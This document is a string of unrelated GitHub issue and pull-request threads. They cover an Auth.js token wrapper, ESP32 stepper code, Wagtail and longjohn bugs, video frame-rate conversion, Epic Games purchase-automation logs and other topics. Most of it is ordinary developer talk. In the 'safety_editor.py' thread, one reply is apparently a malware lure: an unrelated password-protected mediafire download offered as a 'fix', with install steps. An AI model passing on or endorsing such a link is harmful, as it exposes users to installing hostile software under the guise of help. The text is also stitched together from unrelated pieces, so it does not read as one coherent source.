feat: Wrapper for the Auth.JS getToken function

Provide a server side wrapper function for @auth/core/jwt's getToken Function, this is exposed via a similar wrapper in the sidebase version and is a highly useful utility, for interacting with JWT Tokens. This wrapper makes it easier for the developer to use the token to retrieve a data from OAuth2 Resource Servers

Thanks @AwesomeDude091. Could you add some documentation on how to use this please ? 🙏🏽

@Hebilicious added the Documentation and added the remaining components of the function.
Here would be a usage example:
// server/api/token.get.ts
export default eventHandler(event => getToken({ event }))

@Hebilicious added the Documentation and added the remaining components of the function. Here would be a usage example:
// server/api/token.get.ts
export default eventHandler(event => getToken({ event }))

Thanks for the PR. I will refactor it a little once I have time, and will let you know it's ready to merge.
In the meantime could you please update the PR description with your use-case and what you are trying to achieve with this ?

Provide a server side wrapper function for @auth/core/jwt's getToken Function, this is exposed via a similar wrapper in the sidebase version and is a highly useful utility, for interacting with JWT Tokens. This wrapper makes it easier for the developer to use the token to retrieve a data from OAuth2 Resource Servers

.

It should not be called getJWT, because if the OAuth2 server uses opaque tokens it would return those instead

@AwesomeDude091 Thanks for the PR, but I think you can just already use getSeverSession if you need the decoded JWT. Could you tell me if that fits your use case ?

To a certain degree yes, however this is a nice streamline that is provided by Auth.js to reduce unnecessary clutter.

Also have you considered saving the NuxtAuthHandler options so that all the other server side functions have optional options options?

@AwesomeDude091

Options changes : They are not necessary for this PR

getServerSession vs getToken : Do you have an example where getServerSession doesn't allow you to do what you need, but getToken does?  Maybe add a new playground example to illustrate this.

Name : I'm fine with using something like getServerToken. If you look at the definition and the implementation of the getToken function, you will see that it's JWT specific. Please provide more information about what you mean with your oauth2 use case ? Also you need to modify the module.ts file if you change the name, your current change break the types.

I'm gonna go ahead and merge this as getServerToken. Thanks for the contribution @AwesomeDude091


bluetooth stepper

Hello everyone
I just want to run stepper motor continuous rotation and i am using jogging function i also wnat to change speed via command i am not coading guy but i generate some code can anyone help me with code .
application:
F-500 to rotate motor at 500rpm (cw)
R-500 to rotate motor at 500rpm (ccw)
S - for stop jogging
i share my code if any one can help me please help me

#include <ESP_FlexyStepper.h>
#include "BluetoothSerial.h"
const int MOTOR_STEP_PIN = 23;
const int MOTOR_DIRECTION_PIN = 22;
ESP_FlexyStepper stepper;
BluetoothSerial SerialBT;
bool jogging = false;
int previousDirection = 1;  // Initial direction
void setup() {
Serial.begin(115200);
stepper.connectToPins(MOTOR_STEP_PIN, MOTOR_DIRECTION_PIN);
// Initialize Bluetooth Serial with a custom name
SerialBT.begin("CustomBluetoothName");
// Uncomment the line below if you want to change the Bluetooth device name programmatically
// esp_bt_device_name = "CustomBluetoothName";
}
void loop() {
// Your main loop code goes here
// Example: Read data from Bluetooth
if (SerialBT.available()) {
char command = SerialBT.read();
// Process the received command as needed
processBluetoothCommand(command);

}
// Additional loop logic, if any
}
void processBluetoothCommand(char command) {
switch (command) {
case 'F': // Start jogging forward
startJogging(1);
break;
case 'R': // Toggle direction
previousDirection *= -1;  // Toggle direction
digitalWrite(MOTOR_DIRECTION_PIN, previousDirection > 0);
break;
case 'S': // Stop jogging
stopJogging();
break;
// Add more cases for other commands if needed
}
}
void startJogging(signed char direction) {
// Set the speed and acceleration rates for jogging
stepper.setSpeedInStepsPerSecond(200);  // Adjust speed as needed
stepper.setAccelerationInStepsPerSecondPerSecond(200);  // Adjust acceleration as needed
// Start jogging in the specified direction
stepper.startJogging(direction);
jogging = true;
}
void stopJogging() {
// Stop jogging
stepper.stopJogging();
jogging = false;
}

i am taking help of Ai and i think i am near to solve my code here is my second trial code

#include <ESP_FlexyStepper.h>
// IO pin assignments
const int MOTOR_STEP_PIN = 22;
const int MOTOR_DIRECTION_PIN = 23;
// Serial command characters
const char FORWARD_COMMAND = 'F';
const char REVERSE_COMMAND = 'R';
const char STOP_COMMAND = 'S';
const char SPEED_COMMAND = 'P';  // Command to change speed
// create the stepper motor object
ESP_FlexyStepper stepper;
// Speed and acceleration settings
int currentSpeed = 100;  // Initial speed in steps per second
const int ACCELERATION_IN_STEPS_PER_SECOND_PER_SECOND = 7000;
const int DECELERATION_IN_STEPS_PER_SECOND_PER_SECOND = 7000;
void setup() {
Serial.begin(115200);  // USB Serial
// connect and configure the stepper motor to its IO pins
stepper.connectToPins(MOTOR_STEP_PIN, MOTOR_DIRECTION_PIN);
// set the initial speed, acceleration, and deceleration rates for the stepper motor
stepper.setSpeedInStepsPerSecond(currentSpeed);
stepper.setAccelerationInStepsPerSecondPerSecond(ACCELERATION_IN_STEPS_PER_SECOND_PER_SECOND);
stepper.setDecelerationInStepsPerSecondPerSecond(DECELERATION_IN_STEPS_PER_SECOND_PER_SECOND);
}
void startJogging(signed char direction) {
// Start jogging (continuous movement) in the specified direction
stepper.startJogging(direction);
}
void stopJogging() {
// Stop jogging
stepper.stopJogging();
}
void setSpeed(int newSpeed) {
// Set the new speed for the stepper motor
currentSpeed = newSpeed;
stepper.setSpeedInStepsPerSecond(currentSpeed);
}
void loop() {
// Handle USB Serial commands
if (Serial.available() > 0) {
char command = Serial.read();
switch (command) {
  case FORWARD_COMMAND:
    // Start jogging forward
    startJogging(1);
    break;

  case REVERSE_COMMAND:
    // Change the direction and start jogging reverse
    stepper.setDirectionToHome(-1);  // Reverse direction
    startJogging(-1);
    break;

  case STOP_COMMAND:
    // Stop jogging
    stopJogging();
    break;

  case SPEED_COMMAND:
    // Change speed based on the value received
    if (Serial.available() > 0) {
      int newSpeed = Serial.parseInt();
      setSpeed(newSpeed);
    }
    break;

  default:
    // Invalid command
    Serial.println("Invalid Command");
    break;
}

}
// Continue processing stepper movements
stepper.processMovement();
}

Please describe your problem.
I doubt this is about an issue with the Library itself you are talking about, but more a lack of experience in coding.
As long as you cannot describe your problem, I cannot help and in general a forum like stack overflow or the Arduino Forum would be probably better to help you with novice coding questions.

Okay thanks i will post on that website.


Add GRCh38 to genome configuration

This works already somewhat: Merged BAM files are created.
Mapping is not ALT-aware and GATK fails, but hey, it’s a start!
Although this is incomplete, it would be nice to already have this in master.

Did I just open a pull request to my own fork? Well ...


fix: improve search legibility

Description
This improves the search legibility. Before it was dark and hard to read.
Screenshot(s)

Nice and clean!


wagtail_blog.BlogPage.author: (wagtailcore.W001) Field hasn't specified on_delete action

Getting this warning when running migrations. Also says:
HINT: Set on_delete=models.SET_NULL and make sure the field is nullable.

From the Django docs:
user = models.ForeignKey(
User,
models.SET_NULL,
blank=True,
null=True,
)
in Wagtail e.g.:
page = ParentalKey(
'home.ContactUsPage',
related_name='form_fields',
on_delete=models.PROTECT) or models.SET_NULL if it is nullable


Confusions about safety_editor.py

When I check _locate_toxic_layer(), I saw the input parameter for it called request, like this:
self.hparams.layers = self._locate_toxic_layer(self.model, self.tok, [request,])
While inside _locate_toxic_layer(), it called the parameter requests.
_locate_toxic_layer(self, model, tokenizer, requests, **kwargs)
input = tokenizer([value for pair in requests for value in [pair["target_new"], pair["ground_truth"]]],
                          return_tensors="pt", padding=True, truncation=True).to(f"cuda:{self.hparams.device}")

I believe it only passes one request to the _locate_toxic_layer function, isn't it? When I try the following code, it won't work
requests = [{
    'prompt': 'prompt111',
    'target_new': 'target_new_111',
    'ground_truth': 'ground_truth_111',
    'general_prompt': 'general_prompt_111',
    'locality': {}
},
    {
        'prompt': 'prompt222',
        'target_new': 'target_new_222',
        'ground_truth': 'ground_truth_222',
        'general_prompt': 'general_prompt_222',
        'locality': {}
    }
]
for i, (request) in enumerate(zip(requests)):
    param = [request, ]
    input = [value for pair in param for value in [pair["target_new"], pair["ground_truth"]]],

Also, how does the following line calculate the distance between safe and unsafe? It's hard to understand.
for j in range(len(requests)):
    euclidean_distance = torch.dist(
                        hidden_states[layer_index][j * 2],
                        hidden_states[layer_index][j * 2 + 1], p=2)

Thank you for reading this.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

When I check _locate_toxic_layer(), I saw the input parameter for it called request, like this: self.hparams.layers = self._locate_toxic_layer(self.model, self.tok, [request,])
While inside _locate_toxic_layer(), it called the parameter requests.
_locate_toxic_layer(self, model, tokenizer, requests, **kwargs)
input = tokenizer([value for pair in requests for value in [pair["target_new"], pair["ground_truth"]]],
                          return_tensors="pt", padding=True, truncation=True).to(f"cuda:{self.hparams.device}")

I believe it only passes one request to the _locate_toxic_layer function, isn't it? When I try the following code, it won't work
requests = [{
    'prompt': 'prompt111',
    'target_new': 'target_new_111',
    'ground_truth': 'ground_truth_111',
    'general_prompt': 'general_prompt_111',
    'locality': {}
},
    {
        'prompt': 'prompt222',
        'target_new': 'target_new_222',
        'ground_truth': 'ground_truth_222',
        'general_prompt': 'general_prompt_222',
        'locality': {}
    }
]
for i, (request) in enumerate(zip(requests)):
    param = [request, ]
    input = [value for pair in param for value in [pair["target_new"], pair["ground_truth"]]],

Also, how does the following line calculate the distance between safe and unsafe? Does the j_2 stand for target_new, and j_2 + 1 stand for ground_truth?
for j in range(len(requests)):
    euclidean_distance = torch.dist(
                        hidden_states[layer_index][j * 2],
                        hidden_states[layer_index][j * 2 + 1], p=2)

Thank you for reading this.

I made some mistakes, and some lines should be written as
for i, (request1, requests2) in enumerate(zip(requests,requests)):     param = [request1, ]     input = [value for pair in param for value in [pair["target_new"], pair["ground_truth"]]],
Once have time, I will try debug and check the demensions of hiddenstate, so I will know if the code calculates the distance between safe and unsafe.


Issues with gunzip

Hello,
At work we are using longjohn together with our own async library, which works wonders,
only recently we began parsing gzipped files.
The issue is that when using longjohn that the gunzip of the zlib core module virtually stops responding.
We have tested and it responds after a few hours.
I will include the code that will give this issue:
var zlib = require('zlib'),
    request = require('request'),
    longjohn = require('longjohn');

request({ url: 'http://www.jaap.nl/sitemaps/sitemap1.xml.gz', encoding: null }, function(error, response, body) {
  if(response.statusCode === 200) {
    zlib.gunzip(body, function (err, data) {
      console.log(data); // This callback is never executed.
    });
  }
});

When removing the require of longjohn the callback is called without any issue.
I hope this issue can be fixed.
Kind regards and Thanks in advance,
Jasper van Rijbroek

Hi. Try this #48.

@drauggres I have tried your code and it indeed seems to fix the issues.
Thanks for you fast response :)
Kind Regards,
Jasper van Rijbroek

@JaspervRijbroek @drauggres You can now update to version 0.2.8 which is the code from #48.


ridicolous amounts of time to convert to 60fps

It's atrocious

Converting videos can be time-consuming, depending on your system and settings. On my Quad-core i7 with Radeon HD 7670M, it takes almost an hour per video of 4 minutes. Note that neither the CPU nor the GPU is fully used, as the bottleneck seems to be on data transfers. When using Intel HD 4000 GPU instead of Radeon, performance difference is minimal.

Oh, there is one thing that makes a difference specifically for 60fps conversion. It is done by Interframe command. By default, I enable GPU-acceleration only if you activated madVR under settings. Enable it either by enabling madVR, or add "GPU=true" to the Interframe command in the AviSynth Script tab.
I'll change it to be always true, as other filters now require GPU acceleration anyway.
Then if it's too slow for you because of the other processing, don't upscale the image, or disable SuperRes. The more processing you do, the longer it takes.

I want to convert my movies to 60fps since SVP hasn't been working for me anymore, so you're saying it will take...many days to convert a movie? I did successfully convert one but then it was in fast motion(like 60fps AND at 4.0x speed), is that because it was originally 24fps? and sorry my original post was rude it's just frustrating to me, I don't want denoise and super res and crop and all that stuff, I Just want my original video converted to 60fps(deinterlacing is ok though), and I want it to not take alot of time since when my computer is encoding the videos with your program it slows down all my other processes(since I increase priority to Normal?). Also there's another problem sometimes when I encode it says an exe has stopped working(avs2 i think) and the only way to stop it is to uninstall/reinstall your program. Any idea why?

Also, why can't I save script settings? When I go to change script i can't save, it just lets me encode the video and i can't save the script for next time

If you only want to convert to 60fps, make sure all other options are disabled and that you're not upscaling the resolution of the video. SVP itself shouldn't be much slower than when playing it live, except that its settings will be higher. "Smooth" settings are a bit heavier. Then what settings are you using for encoding? x265-Medium is working well for me. You can put it to Faster.
As for avs2yuv crashing, it's stable on my computer so I don't know. Generally, if a process doesn't close properly, you can find it in Task Manager and end the task manually. If not, rebooting works for sure.

SVP has been skipping and lagging and screen tearing I have no idea why since it was working perfectly just a few days ago. Videos converted to 60fps with your program work fine. And don't i need denoise and deinterlace or else the video looks crappy? Or is that only if the original video had noise and interlace problems. Thanks for your help

Now it's doing 0.20 seconds per second instead of 0.4, small improvement but still appreciated

Now with no settings set and faster setting the video looks like 240p....

It will only look like 240p if you set the output height to 240...
If SVP is lagging on your computer, perhaps GPU-acceleration got deactivated for some reason? This problem would be for the SVP forum. http://www.svp-team.com/forum/

I didn't set the height to anything, I let it at default.

Then that's why. You're probably downscaling a 1080p video to 768p then. In computer terms, that's a "code 18" error; meaning the error is 18 inches away from the screen :P

If you're not having any luck with the automated process, you can do it manually by following this guide, which would help you understand how it works.
http://www.spirton.com/convert-videos-to-60fps/

Do I need denoise, deinterlace? Or are they just optional, and what about super res, what are the benefits of super res

And I started out with that guy's guide but MEGUI didn't work for me always giving errors when video conversion reached 99%, but yours usually works except for the speed....

Only denoise if there is noise and see what settings look best. That's what preview is for. Also, removing noise makes encoding more efficient as it encodes more of the "real data" instead of encoding the noise. I haven't added any deinterlacing, so it might not work well with interlaced content. SuperRes is only when upscaling (such as 288p to 720p), it makes the result much better. Also, in Task Manager, you can see what is taking most of the encoding time. "avs2yuv" is running the AviSynth script while "ffmpeg" is running the encoding process. If encoding takes too long, you can lower the settings to make that part faster.

thanks

One more question, if I compress a video first before converting to 60fps, will it reduce conversion time?

Compression first? You'd just throw away quality because it needs to be encoded twice, and it needs to be decoded before processing. Look at the raw script to see if there are parts of it that are unnecessary.

Ok I am compresing a 2 hour 30 minute movie right now I started last night and it is only done 40 mins of the movie so far at 1pm, but I guess I can wait as the encoding only takes a small bit of performance.

but it's gonna piss me off if it doesnt do it right with this long of a wait

increasing priority of ffmpeg and avs2yuv makes it slightly faster

You can also first Trim the video to encode only 10 seconds to test before doing the whole thing.
Also, removing "Smooth" from Increase Frame Rate makes it faster.
InterFrame has other settings allowing to run it faster.
http://www.spirton.com/uploads/InterFrame/InterFrame2.html

I like smooth though, I think its worth it to leave smooth on

you should allow saving avisynth script changes and then going back to edit other settings. when i change settings in script all I can do is encode and I lose those settings next time. Of course, allow a revert to default if you screw up the script

also can you make it so I can change to exact FPS i want, 48 for example, or is that already a feature I just haven't figured it out? I can do it for 24fps videos by selecting "Double" framerate, but what about 30fps vids?

I cannot preserve the script when editing settings because the script must be regenerated.
To set a custom frame rate, you can alter InterFrame command in the script. Replace '60' with '48'.

when I choose very fast in settings it does it quickly but i get no video just audio

Ok I chose x264 instead of 5 and it works but for some reason framerate fluctuates(seeing with MPC statistics view) it goes from 40 to 44 and then to 48, why not consistent 48?

Nevermind, was probably inaccurate calculation because when I set video to replay after finish it is either 47 to 48(normal with videos to do that though)

Converting to 48fps is alot faster than converting to 60 and i still retain acceptable quality

why is trim section greyed out?

converted videos actually have very little to no quality loss, I was just using problematic video players like media player classic and potplayer that severely artifact videos, it's great now with splash player


Purchasing with Puppeteer fails when running cron job

Currently using the latest image 836bd35be10d
Describe the bug
When running the cronjob to purchase a game, the API request fails with error 400 as seen in other other bugs and so falls back on  Puppeteer (short). It logs my email, but then does nothing after that.
If I restart the docker container with runOnStartup: true, it will get the same 400 response from the API, but this time will create a captcha request email, and complete the purchase through puppeteer one the captcha is filled.
Screenshots or Logs
[2021-12-22 16:05:25.761 +0000] INFO : Purchasing Mutant Year Zero: Road to Eden
[2021-12-22 16:05:25.761 +0000] TRACE: Request for purchase token
    user<EMAIL_ADDRESS>    searchParams: {
      "namespace": "4756b80eb0f74d45b77922e54052cfed",
      "offers": "9651fd57c8a34e81949aab28a084ced7"
    }
    url: "https://www.epicgames.com/store/purchase"
[2021-12-22 16:05:27.108 +0000] DEBUG: purchaseToken
    user<EMAIL_ADDRESS>    purchaseToken: "c96c60ec4a404a3fa64ddc529fd2df51"
[2021-12-22 16:05:27.109 +0000] TRACE: Order preview request
    user<EMAIL_ADDRESS>    body: {
      "canQuickPurchase": false,
      "country": "US",
      "eulaId": null,
      "lineOffers": [
        {
          "appliedNsOfferIds": [],
          "namespace": "4756b80eb0f74d45b77922e54052cfed",
          "offerId": "9651fd57c8a34e81949aab28a084ced7",
          "quantity": 1,
          "title": "Mutant Year Zero: Road to Eden",
          "upgradePathId": null
        }
      ],
      "locale": "en_US",
      "offers": null,
      "setDefault": false,
      "syncToken": "",
      "useDefaultBillingAccount": true
    }
    url: "https://payment-website-pci.ol.epicgames.com/purchase/order-preview"
[2021-12-22 16:05:27.620 +0000] TRACE: Order preview response
    user<EMAIL_ADDRESS>[2021-12-22 16:05:27.621 +0000] TRACE: Confirm order request
    user<EMAIL_ADDRESS>    body: {
      "eulaId": null,
      "useDefaultBillingAccount": false,
      "country": "US",
      "offers": null,
      "lineOffers": [
        {
          "appliedNsOfferIds": [],
          "namespace": "4756b80eb0f74d45b77922e54052cfed",
          "offerId": "9651fd57c8a34e81949aab28a084ced7",
          "quantity": 1,
          "title": "Mutant Year Zero: Road to Eden",
          "upgradePathId": null
        }
      ],
      "totalAmount": 0,
      "setDefault": false,
      "syncToken": "ec01650c-8745-4e10-97f3-2539f313e1d7",
      "canQuickPurchase": true,
      "locale": "en_US",
      "affiliateId": "",
      "creatorSource": ""
    }
    url: "https://payment-website-pci.ol.epicgames.com/purchase/confirm-order"
[2021-12-22 16:05:28.029 +0000] WARN : Error encountered during purchase
    user<EMAIL_ADDRESS>    errorBody: {
      "error": true,
      "message": "We could not confirm your purchase at this time.  Please try again later.",
      "order": null,
      "syncToken": "f6d92509-76fe-4835-b52f-4ed40894c34b"
    }
    code: 400
[2021-12-22 16:05:28.030 +0000] WARN  (HTTPError): Response code 400 (Bad Request)
    HTTPError: Response code 400 (Bad Request)
        at Request.<anonymous> (/usr/app/node_modules/got/dist/source/as-promise/index.js:117:42)
        at processTicksAndRejections (internal/process/task_queues.js:95:5)
[2021-12-22 16:05:28.030 +0000] WARN : API purchase experienced an error, trying puppeteer purchase
[2021-12-22 16:05:28.031 +0000] DEBUG: hcaptchaAccessibilityUrl not configured, captchas are less likely to be bypassed. Follow this guide to set it up: https://github.com/claabs/epicgames-freegames-node#hcaptcha-accessibility-cookies
[2021-12-22 16:05:28.037 +0000] DEBUG: Purchasing with puppeteer (short)
    user<EMAIL_ADDRESS>
Additional context
No hCaptchaURL setup since it is marked as not working in the docs
Logs are in TRACE mode

I am experiencing the same. Though mine is slightly different in that I am unable to do the CAPTCHA because when I click the link, I just get "Connection refused" even if I click on the link the second it gets posted to my notifications. I have tried deleting the container and all data and starting fresh with a new cookie and everything.
I can PM the screenshot if needed.
Logs:
[2021-12-23 12:00:02.398 -0500] INFO : Started epicgames-freegames-node
COMMIT_SHA: "5de6791407ed492e0b0bd658ce01062e3d0e1119"
BRANCH: "master"
DISTRO: "alpine"
[2021-12-23 12:00:03.160 -0500] INFO : Checking free games for (REDACTED)
[2021-12-23 12:00:08.736 -0500] INFO : Successfully refreshed login
user: "(REDACTED)"
[2021-12-23 12:00:20.274 -0500] INFO : Available free games
user: "(REDACTED)"
availableGames: [
"Vampyr"
]
[2021-12-23 12:00:20.439 -0500] INFO : Unpurchased free games
user: "(REDACTED)"
purchasableGames: [
"Vampyr"
]
[2021-12-23 12:00:20.439 -0500] INFO : Purchasing Vampyr
[2021-12-23 12:00:22.077 -0500] WARN : Error encountered during purchase

user: "(REDACTED)"
errorBody: {
"error": true,

"message": "We could not confirm your purchase at this time. Please try again later.",
"order": null,
"syncToken": "1a865725-a436-48ec-b792-f7561dcf4861"
}
code: 400
[2021-12-23 12:00:22.077 -0500] WARN (HTTPError): Response code 400 (Bad Request)
HTTPError: Response code 400 (Bad Request)
at Request.<anonymous> (/usr/app/node_modules/got/dist/source/as-promise/index.js:117:42)
at processTicksAndRejections (internal/process/task_queues.js:95:5)
[2021-12-23 12:00:22.078 -0500] WARN : API purchase experienced an error, trying puppeteer purchase

[2021-12-23 12:00:22.077 -0500] WARN : Error encountered during purchase

user: "(REDACTED)"
errorBody: {
"error": true,

"message": "We could not confirm your purchase at this time. Please try again later.",
"order": null,
"syncToken": "1a865725-a436-48ec-b792-f7561dcf4861"
}
code: 400
[2021-12-23 12:00:22.077 -0500] WARN (HTTPError): Response code 400 (Bad Request)
HTTPError: Response code 400 (Bad Request)
at Request.<anonymous> (/usr/app/node_modules/got/dist/source/as-promise/index.js:117:42)
at processTicksAndRejections (internal/process/task_queues.js:95:5)
[2021-12-23 12:00:22.078 -0500] WARN : API purchase experienced an error, trying puppeteer purchase

[2021-12-23 12:00:32.597 -0500] INFO : Loading purchase page
user: "(REDACTED)"
purchaseUrl: "https://www.epicgames.com/store/purchase?highlightColor=0078f2&offers=1-nautilus-9afcebbb195348ac96e39954e20ddf33&orderId&purchaseToken&showNavigation=true"
[2021-12-23 12:01:02.788 -0500] ERROR: Encountered an error during browser automation. Saved a screenshot and page HTML for debugging purposes.

user: "(REDACTED)"
errorImage: "config/error-2021-12-23T17-01-02.609Z.png"

errorHtml: "config/error-2021-12-23T17-01-02.609Z.html"

[2021-12-23 12:01:02.789 -0500] INFO : Asking a human for help...
user: "(REDACTED)"
[2021-12-23 12:01:02.842 -0500] INFO : Go to this URL and purchase the game
user: "(REDACTED)"
url: "http://tower.sudo:3055/?targetId=053F956E85A5F6776C946CDE5E6351E4"
[2021-12-23 12:01:06.877 -0500] ERROR (HTTPError): Response code 424 (Failed Dependency)

HTTPError: Response code 424 (Failed Dependency)

at Request.<anonymous> (/usr/app/node_modules/got/dist/source/as-promise/index.js:117:42)
at processTicksAndRejections (internal/process/task_queues.js:95:5)
[2021-12-23 12:01:06.878 -0500] ERROR: Failed to send message

user: "(REDACTED)"
reason: "PURCHASE ERROR"

urls: "apprise://tower.sudo:8001/apprise?tags=all"
[2021-12-23 12:01:06.878 -0500] ERROR: Encountered an error when asking a human for help

user: "(REDACTED)"
[2021-12-23 12:01:06.878 -0500] ERROR (HTTPError): Response code 424 (Failed Dependency)

HTTPError: Response code 424 (Failed Dependency)

at Request.<anonymous> (/usr/app/node_modules/got/dist/source/as-promise/index.js:117:42)
at processTicksAndRejections (internal/process/task_queues.js:95:5)
[2021-12-23 12:01:06.914 -0500] ERROR (TimeoutError): Navigation timeout of 30000 ms exceeded

TimeoutError: Navigation timeout of 30000 ms exceeded
at /usr/app/node_modules/puppeteer/src/common/LifecycleWatcher.ts:205:18
[2021-12-23 12:01:06.950 -0500] WARN : Current version

COMMIT_SHA: "5de6791407ed492e0b0bd658ce01062e3d0e1119"
BRANCH: "master"
DISTRO: "alpine"

Could you try again with debian image charlocharlie/epicgames-freegames:bullseye-slim ?
Sounds similar to #164

I'm currently working on porting the image to a Fedora-based image for various reasons (see https://github.com/claabs/epicgames-freegames-node/issues/195#issuecomment-1000105985). If you want to try that out, just use the :dev tag. bullseye-slim will likely be deprecated very soon.

dev gave me:

Setting timezone: UTC
Run on startup: false
Run once: false
Setting cron schedule as 5 * * * *
/bin/sh: line 1: flock: command not found

Tried bullseye-slim and it has worked today, will double check tomorrow’s free game to see if it has the same issues on the second purchase.

Sorry about that. Just pushed a fix for that https://github.com/claabs/epicgames-freegames-node/commit/c44190f1161aa61265ce672117f865ef0ca0d56d

I still get the same thing with both dev and bullseye branches. At least now I can click the links and finish the transaction manually.

I now get a captcha request each day to complete the purchase in the dev branch, assuming that’s the behaviour I should expect?

Yes. A captcha is served for every purchase now. That's just a thing on Epic's side.
I'll close this now since it's kind of two issues at once. Feel free to open a new issue if something else pops up.


Fix crashes and potential crashes

This PR would fix crashes in various paths like dump,
COD license paths including the VMI certificate exchange.

This PR would also fix the crash that happens when the host
off signal is received.

Signed-off-by: Manojkiran Eda<EMAIL_ADDRESS>

all these crashes are coming from the merged code in master.I would also be putting commits upstream fixing these.


feature enhancement: Enable BGP

in the UI, it is easier to enable BGP collection and there is a message: "All public BGP monitors will be included"
but in the Terraform when I am trying to enable BGP, I am getting this error message:
Error: Failed call API endpoint. HTTP response code: 400. Error: There were some errors in your request, please correct them before trying again. No BGP monitors selected.
Can we update this default behavior as we have in the UI?

I would like to clarify that in the resource "thousandeyes_http_server" it doesn't have the option "use_public_bgp". It would be great if it can be added in order to enable bgp metrics.

I encounter the same issue. Any quick workaround?


port over focusable-arrow-keys-behavior

Ports over this:
https://github.com/Brightspace/d2l-polymer-behaviors-ui/blob/6614114c98c2578ef44b56132216bbaa07955260/d2l-focusable-arrowkeys-behavior.js
Which will likely be used in a few core components

Whoops I guess fastdom is being removed from things: https://github.com/BrightspaceUI/core/commit/9792fd330ef578216965ffdb03cb4d7722fafa73
I better not add it back XD

Thanks @jstefaniuk-d2l  for taking this on.  This is definitely something that we'll want to use in a couple of other components.
Per our conversation, I think we'll want to make this a mixin.  I think the bulk of the logic can remain identical, but we'll want to change the API slightly to follow the best practice for Lit-element's UI = f(data), where f = render.  Essentially, we should not be modifying the DOM outside of render (which includes not wiring up event handlers that provide behavior).  In this case, the event handler should be wired up as part of render using Lit-element's @ event directive.  These are the key differences (see code mock-up below):

container is defined by mixin template instead of arrowKeyFocusablesContainer
consumer indicates focusable elements with d2l-arrowkeys-focusable classes.  The mixin query for these elements instead of calling a provider.  We can introduce the provider API later if we need more flexibility.

Mixin:
export const ArrowKeysMixin = superclass => class extends superclass {

   static get properties() {
      return {
         arrowKeysDirection: { type: String },
         arrowKeysNoWrap: { type: Boolean }
       };
   }

   constructor() {
      super();
      this.arrowKeysDirection = 'leftright';
      this.arrowKeysNoWrap = false;
   }

   arrowKeysContainer(inner) {
      return html`

         ${inner}

`;
   }

   _handleArrowKeys() {
      // arrow keys logic
   }

   // ... the bulk of the existing logic

};

Consumer:
class MyElement extends ArrowKeysMixin(LitElement) {

   constructor() {
      super();
      this.arrowKeysDirection = ...;  // optionally override default
      this.arrowKeysNoWrap = ...;  // optionally override default
   }

   render() {
      const inner = html`
         link 1
         link 2
         // etc
      `;
      return html`

            ...
            ${this.arrowKeysContainer(inner)}
            ...

      `;
   }

   async arrowKeysBeforeFocus() {
      // consumer optionally implements
   }

}
customElements.define('my-element', MyElement);

Of course, the consumer can compose whatever HTML as needed.
One other subtle difference here is wire-up to keyup instead of keydown.  I think that is what we would want for a11y.  Hopefully that doesn't cause any regression.

TODO:

[ ] Documentation file

Looking good.
I think we'll want some unit tests for this as well.  For the most part, the existing tests can be copied over from the existing tests and test component as a Lit-element.  I think we'll want to follow what we've been doing in helpers for that.  I'd probably just copy one of them and replace titles, fixtures, and tests.
/mixins/test/arrow-keys-mixin.html (tests)
/mixins/test/arrow-keys-mixin-components.js (test-component that uses the mixin)


pre-built, minifed version

Could you provide a pre-built, minifed version, for folks who do not use npm in their projects? this would make everything more easily accessible.

Hey @mhuegel I think I already do: https://github.com/meodai/fettepalette/tree/main/dist
let me know if you need anything else.


LibWeb: Update Location initialization according to spec

Well, I'm not sure how to test this and if it actually works.. I'm just trying to reinterpret spec into the code ;^)

As mentioned by @yyny , I should test this with
https://wpt.fyi/results/html/browsers/history/the-location-interface/location-symbol-toprimitive.html?label=master&label=experimental&product=ladybird&aligned&q=location
https://wpt.fyi/results/html/browsers/history/the-location-interface/location-valueof.html?label=master&label=experimental&product=ladybird&aligned&q=location

Well, we do

Set the value of the [[DefaultProperties]] internal slot of location to location.[OwnPropertyKeys].

This adds toPrimitive to DefaultProperties
As per spec
When, as per spec, we do

If the value of the [[DefaultProperties]] internal slot of this contains P, then set desc.[[Configurable]] to true.`

This finds toPrimitive in DefaultProperties and sets it's Configurable to true
When, wpt test checks
assert_false(prop.configurable)
And fails. Is this a spec issue? WPT issue? My reading of the spec issue?

Related: https://github.com/whatwg/html/issues/4157
I propose not to care about that WPT for now and merge this "as is", as this corresponds to what spec wants us to do. If there's anything to modify, it's Location::internal_get_own_property anyway, and that is not part of this issue.

@shlyakpavel

I propose not to care about that WPT for now

What do other browsers do with the configurability here?

@gmta as far as I understand, other browsers do not respect location-getownproperty spec. That function and its implementation are outside this PR scope at the moment.


[Feature Request] Copy column type

Feature Request
Copy option to field list and preview
What's the feature you think Backpack should have?
a copy field for list and preview example
    CRUD::addColumn([
        'name' => 'name',
        'type' => 'text',
        'label' => 'Name'
        'copy' => true // will show copy icon beside the field when clicked will show toast copied
    ]);

Have you already implemented a prototype solution, for your own project?
no
Do you see this as a core feature or an add-on?
yes

That's a cool one, thanks for the suggestion @rjjrbatarao
I don't see this is an added feature to the text column... but we could create a new column starting from TEXT, that does that. That would be pretty useful in some cases.
We've added this to the to-do list @rjjrbatarao , but please note we're super-busy with launching v6 right now, so we probably won't have time in the next few months to take care of this. If you need it fast, please use the link above to create one for your project. If you do, and can share the code here too, please do so - it would speed up us adding it too.
Thanks, cheers!

You can use the following code snippet to add it yourself in the meantime
let yourButton = document.getElementById('id-to-your-button')
yourButton. addEventListener('click', () => {
    navigator.clipboard.writeText (elementContainingTheText.value);
})


 IF YOU DO NOT FOLLOW THE FORMAT OR MAKE A GENERIC TOKEN REQUEST YOUR ISSUE WILL BE DELETED WITHOUT COMMENT
YOUR JUSTLIST MUST FOLLOW THE JSON SPECIFICATION
https://github.com/justswaporg/justlists/example.justlists.ts
Checklist

[x] I understand that this is not the place to request a token listing.
[x] I have tested that my JustList is compatible by pasting the URL into the add a list UI at justswap.org.
[x] I understand that filing an issue or adding liquidity does not guarantee addition to the justlists website.

Please provide the following information for your token.
JustList URL must be HTTPS.
JustList URL:
JustList Name:
Link to the official homepage of the JustList manager:

Ok

Ok

Sorry, your issue will be closed as you did not submit your information in the correct format.


CB-11522 [windows] Make cordova-js clone handle 'unknown' type

See details in CB-11522

Current coverage is 74.25% (diff: 100%)

Merging #197 into master will not change coverage

@@             master       #197   diff @@
==========================================
  Files            14         14
  Lines          1942       1942
  Methods         362        362
  Messages          0          0
  Branches        391        391
==========================================
  Hits           1442       1442
  Misses          500        500
  Partials          0          0

Powered by Codecov. Last update 0855feb...bd5dbc9


Remove links/references to the Readability service

